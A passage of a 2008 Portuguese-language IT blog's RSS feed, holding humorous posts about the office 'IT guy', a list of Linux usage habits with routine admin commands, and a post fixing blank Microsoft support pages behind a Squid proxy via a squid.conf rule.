Mas todo o dia é a mesma coisa comigo e nem sei dizer se isso é ruim ou bom. Prefiro pensar que isso é um reflexo de que resolvo os problemas.<br />
Estava pedindo meu diário e necessário &#8220;pão na chapa&#8221;, quando uma colega de trabalho me viu e em vez de cumprimentar, lembrou que o &#8220;Pimaco&#8221; não estava funcionando.<br />
Bom, quem é do ramo sabe sobre o que estou escrevendo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/da-serie-o-cara-da-informatica/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Coisas que todos precisam saber a respeito de um &quot;cara da informática&quot; &#8211; parte 3</title>
		<link>http://www.elirios.com/sem-categoria/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3</link>
		<comments>http://www.elirios.com/sem-categoria/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3#comments</comments>
		<pubDate>Wed, 11 Jun 2008 12:46:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[sem categoria]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/11/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3/</guid>
		<description><![CDATA[Continuando Coisas que todos precisam saber a respeito de um &#34;cara da inform&#225;tica&#34; parte 1 e parte 2:
9) Quanto ao uso do celular: celular &#233; ferramenta de trabalho. Por favor, ligue, apenas, quando necess&#225;rio. Fora do hor&#225;rio de expediente, mesmo que voc&#234; ainda duvide, o CARA DA INFORMATICA pode estar fazendo algumas coisas que voc&#234; [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fcoisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fsem-categoria%2Fcoisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3" height="61" width="51" /></a></div><p>Continuando Coisas que todos precisam saber a respeito de um &quot;cara da inform&#225;tica&quot; <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">parte 1</a> e <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber_06.html">parte 2</a>:
<p>9) Quanto ao uso do celular: celular &#233; ferramenta de trabalho. Por favor, ligue, apenas, quando necess&#225;rio. Fora do hor&#225;rio de expediente, mesmo que voc&#234; ainda duvide, o CARA DA INFORMATICA pode estar fazendo algumas coisas que voc&#234; nem pensou que ele fazia, como dormir ou namorar, por exemplo;
<p>10) Pedir a mesma coisa v&#225;rias vezes n&#227;o faz o CARA DA INFORMATICA trabalhar mais r&#225;pido. Solicite, depois aguarde o prazo dado pelo CARA DA INFORMATICA;
<p>11) Quando o hor&#225;rio de trabalho do per&#237;odo da manh&#227; vai at&#233; 12h, n&#227;o significa que voc&#234; pode ligar &#224;s 11:58 horas. Se voc&#234; pretendia cometer essa gafe, v&#225; e ligue ap&#243;s o hor&#225;rio do almo&#231;o (relembre o item 2). O mesmo vale para a parte da tarde: ligue no dia seguinte;
<p>12) Quando CARA DA INFORMATICA estiver apresentando um projeto, por favor, n&#227;o fique bombardeando com milhares de perguntas durante o atendimento. Isso tira a concentra&#231;&#227;o, al&#233;m de torrar a paci&#234;ncia. ATEN&#199;&#195;O: Evite perguntas que n&#227;o tenham rela&#231;&#227;o com o projeto, tipo como. Voc&#234;s entendem &#233; claro;
<p>continua&#8230;
<p>Para quem perdeu, leia a <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">parte 1</a> e <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber_06.html">parte 2</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/sem-categoria/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Os sete hábitos do usuário Linux eficiente</title>
		<link>http://www.elirios.com/ti/os-sete-habitos-do-usuario-linux-eficiente-2</link>
		<comments>http://www.elirios.com/ti/os-sete-habitos-do-usuario-linux-eficiente-2#comments</comments>
		<pubDate>Tue, 10 Jun 2008 10:56:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/10/os-sete-habitos-do-usuario-linux-eficiente-2/</guid>
		<description><![CDATA[1. Nunca permanecer logado como “root”
Muitos erros podem acontecer (em qualquer sistema operacional) quando o utilizamos  com poderes de super-usuário. Um comando mal escrito é o suficiente para causar um grande estrago. Portanto:
* Use “su” ou “sudo” para alguma tarefa administrativa &#8211; e somente quando isso for imprescindível &#8211; e feche a sessão assim [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fos-sete-habitos-do-usuario-linux-eficiente-2"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fos-sete-habitos-do-usuario-linux-eficiente-2" height="61" width="51" /></a></div><p><strong>1. Nunca permanecer logado como “root”</strong></p>
<p>Muitos erros podem acontecer (em qualquer sistema operacional) quando o utilizamos  com poderes de super-usuário. Um comando mal escrito é o suficiente para causar um grande estrago. Portanto:</p>
<p>* Use “su” ou “sudo” para alguma tarefa administrativa &#8211; e somente quando isso for imprescindível &#8211; e feche a sessão assim que possível.<br />* Para o modo gráfico, execute “gksu”, “gksudo” ou “kdesu”. Pressione + e digite “gksudo nautilus /tmp/”. Feche a aplicação assim que completar a tarefa.</p>
<p><strong>2. Forneça nomes convenientes a seus arquivo</strong>s</p>
<p>Em Linux você pode utilizar virtualmente qualquer caractere no nome de um arquivo. Mas nem todos são convenientes e podem trazer problemas na hora de serem utilizados. Então:</p>
<p>* Utilize somente caracteres alfanuméricos (preferencialmente minúsculos), ponto, hífen e sublinhado.<br />* Fuja incondicionalmente de símbolos como porcentagem, cifrão, chaves e colchetes. Eles têm significados especiais e podem causar má interpretação<br />* Edite o seu arquivo FSTAB, inserindo UTF-8 nos parâmetros. Exemplo: defaults,utf8,umask=007,gid=46 0 <br />O utf-8 oferece a possibilidade de se utilizar acentuação em seus arquivos.</p>
<p><strong>3. Mantenha o diretório /home em uma partição distinta</strong></p>
<p>O diretório /home mantém dados pessoais dos usuários. Se ele estiver em uma partição em separado, você pode ficar à vontade para fazer reinstalações do sistema operacional, basta não formatar esta partição. <br />A versão 8.04 do Ubuntu deve permitir fazer uma reinstalação sem sobrescrever este diretório, mas ainda é uma boa prática mantê-lo em separado. Esta idéia também pode se aplicar a outras diretórios como /Músicas ou /Vídeos</p>
<p><strong>4. Gerencie eventuais travamentos</strong></p>
<p>O Linux é muito robusto e estável, mas é possível que você depare-se com situações de travamento. Programas isolados podem travar e começar a utilizar recursos de forma predatória. O hardware também prega suas peças de vez em quando. E ações inapropriadas de usuários &#8211; especialmente quando com poderes de root &#8211; também podem ser perniciosas. Mas não pressione o CTRL+ALT+DEL em vão. Nem aperte o botão de Ligar/Desligar de seu computador. Tente seguir estes passos</p>
<p>* Mantenha um item de “Fechar Forçado” em seu painel (as barras no topo ou no base de seu desktop). Se um aplicativo travar, clique neste item e depois sobre o aplicativo desobediente, terminando-o<br />* Abra um terminal e digite “ps -A | less” ou um “top”. Procure o número do processo (PID) que deseja fechar e mate-o com um “kill -9 PID”<br />* Use o “killall”, ex: “killall firefox”<br />* Utilize “ALT+F2″, digitando na janela “xkill” e clicando na aplicação travada.<br />* Se a interface gráfica estiver comprometida e não for possível abrir um terminal, pressione CTRL+ALT+F1, abra uma nova sessão e siga os dois passos anteriores por lá<br />* Se a solução for reinicializar a interface gráfica, tente fazê-lo com as teclas CTRL+ALT+BACKSPACE<br />* Se nada estiver funcionando e reinicializar o sistema completo for a única saída utilize o CTRL+ALT+F1, abra uma nova sessão e use o CTRL+ALT+DEL nesta sessão<br />* Se você chegou até aqui é que a situação deve estar realmente crítica. Mesmo assim, ainda há um passo antes do botão de Liga/Desliga. Utilize as teclas de emergência ALT+PRINT SCREEN+O para desligar o sistema ou ALT+PRINT SCREEN+B para reiniciá-lo. Conheça outras teclas de emergência no Wiki em português do Ubuntu ou tente o último recurso.</p>
<p><strong>5. Teste até se encontrar</strong></p>
<p>Um amigo pode ter lhe influenciado a escolher determinada distribuição ou interface gráfica do Linux. Provavelmente terá sido uma opção que funcionou bem para ele. Mas, e para você? Pode ser que exista outra opção mais produtiva. Veja o Ubuntu, por exemplo: usuários “clean” gostam da interface Gnome padrão, os mais habituados a interfaces de outros sistemas operacionais preferem o KDE do Kubuntu, quem tem equipamento mais modesto tem de se virar com XFCE do Xubuntu, estudantes do ensino fundamental podem gostar do Edubuntu, quem trabalha com multimídia prefere o Ubuntu Studio e assim por diante. Então, faça experiências. Você pode utilizar uma partição somente para testes, um computador ou mesmo utilizar um virtualizador para isso.</p>
<p><strong>6. Adote a Interface em Linha de Comando (modo texto)</strong></p>
<p>Sim, a interface gráfica facilita &#8211; e muito &#8211; a nossa vida. Eu posso passar dias sem utilizar uma interface em linha de comando. Mas o poder e a flexibilidade que este tipo de interface oferece é inigualável. Muitas tarefas que dependem de múltiplas janelas e cliques podem ser executadas com um único comando. Aprenda cada dia um pouco mais sobre a interface em linha de comando.</p>
<p><strong>7. Esteja sempre pronto para utilizar o Linux</strong></p>
<p>Sabe quando seu amigo pede para que você faça algo no computador dele &#8211; que só tem outros sistemas operacionais &#8211; e você sabe que tudo seria mais fácil se estivesse usando Linux? Então mantenha por perto uma opção para utilizá-lo. Pode ser uma versão que execute de um CD ou de um pendrive, mas pode ser sua salvação. Já tive um amigo cujo computador travou, executou um aplicativo de verificação de disco e removeu um certo diretório da máquina dele &#8211; o diretório /Windows. O computador estava operacional, mas sem a interface gráfica, algo abominável para alguém como ele. Um Linux que rodava a partir de um disquete e uma unidade de backup externa foi o que eu precisei para preservar todos seus arquivos, embora eles tenham perdido seus nomes longos. Até mesmo um software antivírus executado de um pendrive com Linux pode quebrar um bom galho.</p>
<p>referências:<br />http://hehe2.net/linux-general/the-7-habits-of-highly-effective-linux-users/<br />http://tecnologic.wordpress.com/2008/05/19/os-sete-habitos-do-usuario-linux-eficiente/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/os-sete-habitos-do-usuario-linux-eficiente-2/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Coisas que todos precisam saber a respeito de um &#8220;cara da informática&#8221; &#8211; parte 2</title>
		<link>http://www.elirios.com/ti/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2</link>
		<comments>http://www.elirios.com/ti/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2#comments</comments>
		<pubDate>Fri, 06 Jun 2008 16:26:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/06/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2/</guid>
		<description><![CDATA[Continuando Coisas que todos precisam saber a respeito de um &#8220;cara da informática&#8221;:
5) Ler, estudar também é trabalho. E trabalho sério. Pode parar de rir. Não é piada. Quando um CARA DA INFORMÁTICA está concentrado num livro ou publicação especializada ele está se aprimorando como profissional, logo trabalhando;
6) De uma vez por todas, vale reforçar: [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fcoisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fcoisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2" height="61" width="51" /></a></div><p>Continuando <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">Coisas que todos precisam saber a respeito de um &#8220;cara da informática&#8221;</a>:</p>
<p>5) Ler, estudar também é trabalho. E trabalho sério. Pode parar de rir. Não é piada. Quando um CARA DA INFORMÁTICA está concentrado num livro ou publicação especializada ele está se aprimorando como profissional, logo trabalhando;</p>
<p>6) De uma vez por todas, vale reforçar: O CARA DA INFORMÁTICA não é vidente, não joga tarô e nem tem bola de cristal, pois se você achou isto demita-o e contrate um PARANORMAL OU DETETIVE. Ele precisa planejar, se organizar e assim ter condições de fazer um bom trabalho, seja de que tamanho for. Prazos são essenciais e não um luxo… Se você quer um milagre, ore bastante, faça jejum e deixe o pobre do CARA DA INFORMÁTICA em paz;</p>
<p>7) Em reuniões de amigos ou festas de família, o CARA DA INFORMÁTICA deixa de ser o CARA DA INFORMÁTICA e reassume seu posto de amigo ou parente, exatamente como era antes dele ingressar nesta profissão. Não peça conselhos, dicas… ele tem direito de se divertir;</p>
<p> <img src='http://www.elirios.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Não existe apenas um “levantamentozinho” , uma “pesquisazinha” , nem um “resuminho”, um “programinha pra controlar minha loja”, um “probleminha que a maquina não liga”, um “sisteminha” , uma “passadinha rápida(ALIAS CONTA-SE DE ONDE SAIMOS E ATÉ CHEGARMOS)”, pois esqueça os “inha e os inho (programinha, sisteminha, olhadinha)” pois OS CARAS DA INFORMATICA não resolvem este tipo de problema. Levantamentos, pesquisas e resumos são frutos de análises cuidadosas e requerem atenção, dedicação. Esses tópicos podem parecer inconcebíveis a uma boa parte da população, mas servem para tornar a vida do CARA DA INFORMATICA mais suportável;</p>
<p>continua&#8230;</p>
<p>Para quem perdeu, leia a <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">parte 1</a></p>
<p>Acesse também: <a href="http://macetinhos.blogspot.com/">Macetinhos</a>, <a href="http://www.jairomolina.com/">Geeks</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Página KB da Microsoft retornando em branco no IE7</title>
		<link>http://www.elirios.com/ti/pagina-kb-da-microsoft-retornando-em-branco-no-ie7</link>
		<comments>http://www.elirios.com/ti/pagina-kb-da-microsoft-retornando-em-branco-no-ie7#comments</comments>
		<pubDate>Thu, 05 Jun 2008 17:54:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
				<category><![CDATA[TI]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/05/pagina-kb-da-microsoft-retornando-em-branco-no-ie7/</guid>
		<description><![CDATA[O PROBLEMA:
Eu vinha a algum tempo tentando acessar o site http://support.microsoft.com para checar alguns KB (base de conhecimento da Microsoft). Mas sempre estava retornando uma página em branco.
Procurando na internet, em sites, fóruns e blogs, constatei que várias pessoas passaram a ter o mesmo problema.
Passei então a procurar por conta o problema. Conectando diretamente ao [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;"><a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fpagina-kb-da-microsoft-retornando-em-branco-no-ie7"><img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.elirios.com%2Fti%2Fpagina-kb-da-microsoft-retornando-em-branco-no-ie7" height="61" width="51" /></a></div><p>O PROBLEMA:</p>
<p>Eu vinha a algum tempo tentando acessar o site <a href="http://support.microsoft.com">http://support.microsoft.com</a> para checar alguns KB (base de conhecimento da Microsoft). Mas sempre estava retornando uma página em branco.<br />
Procurando na internet, em sites, fóruns e blogs, constatei que várias pessoas passaram a ter o mesmo problema.<br />
Passei então a procurar por conta o problema. Conectando diretamente ao site, sem Proxy, a página era exibida normalmente.</p>
<p>MEU PRIMEIRO PENSAMENTO:</p>
<p>Solução então: fazer que o Proxy não faça cache do site dos KBs da Microsoft?<br />
Funciona. Mas eu teria mesmo que criar uma regra no nosso NAT para conectar diretamente e não usar o Proxy para acessar esse site. E pior, poderia acontecer de um dia aparecer outro site com o mesmo problema. Ficaria sem cache.<br />
Mas daí pensei: será que vai resolver? Isso não vai acontecer com outros sites? E o que mais me intrigava: qual o motivo disso acontecer?</p>
<p>A CAUSA:</p>
<p>Vamos a fonte então. No blog do Squid (<a href="http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/">http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/</a>) encontrei a causa do problema.<br />
Segundo o blog, esse &#8220;novo&#8221; incidente é causado por servidores web amplamente usados (leia-se IIS), que sempre respondem com cabeçalho HTTP/1.1 com o parâmetro &#8220;chunked-encoding&#8221;.<br />
Pelo que entendi, os servidores são &#8220;explicitamente proibidos&#8221; de enviar esse tipo em particular para softwares que se anunciam como HTTP/1.0 (como o Squid). Mas o ISS faz isso mesmo assim.<br />
Isso não é um problema do Squid, mas do IIS. Mesmo assim é possível configurar o Squid para &#8220;ignorar o erro&#8221;</p>
<p>O TESTE:</p>
<p>Para testar se o problema é esse mesmo, foi usado o &#8220;squidclient&#8221; para fazer uma requisição, desviando do Proxy Squid. Deve-se, para o teste, enviar uma requisição HTTP/1.0 e checar a pagina de resposta. Se o cabeçalho de resposta incluir &#8220;Transfer-Encoding: chunked&#8221;, aí está seu problema.<br />
Esse mesmo teste pode ser feito via comando telnet (telnet &lt;endereço site&gt; 80) requisitando o &#8220;HEAD&#8221; da página índex (/)</p>
<p>SOLUÇÕES:</p>
<p>Variam de caso a caso. Simplesmente pode-se desviar o acesso a esses sites pelo Squid, para acessar diretamente, sem cache. Mas a que eu adotei aqui foi adicionar no &#8220;squid.conf&#8221; as seguintes linhas:</p>
<p>&lt;pre&gt;<br />
# Corrige sites em branco, removendo &#8220;Accept-Encoding header&#8221;<br />
acl broken dstdomain microsoft.com<br />
request_header_access Accept-Encoding deny broken<br />
&lt;/pre&gt;</p>
<p>Nota: remover se for fazer atualização para squid 3.0</p>
<p>Bom também criar uma regra no NAT para ignorar esses sites e não usar o squid (conexão direta), ou ainda, se o Proxy é configurado no cliente, colocar na configuração do navegador para não acessar esses site via Proxy.</p>
<p>Fonte: <a href="http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/">http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/ti/pagina-kb-da-microsoft-retornando-em-branco-no-ie7/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
